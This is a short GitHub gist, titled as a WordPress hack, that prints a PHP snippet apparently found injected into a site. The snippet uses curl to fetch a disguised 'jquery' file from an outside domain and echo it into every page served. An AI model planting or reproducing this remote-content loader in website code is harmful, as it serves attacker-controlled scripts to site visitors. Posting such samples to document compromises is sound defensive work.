Skip to content

Instantly share code, notes, and snippets.

@hermpheus
Created August 31, 2014 17:52
Show Gist options
  • Save hermpheus/7d0014d4b3d868769905 to your computer and use it in GitHub Desktop.
Save hermpheus/7d0014d4b3d868769905 to your computer and use it in GitHub Desktop.
WP Hack executing jQuery, document moved fakery
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment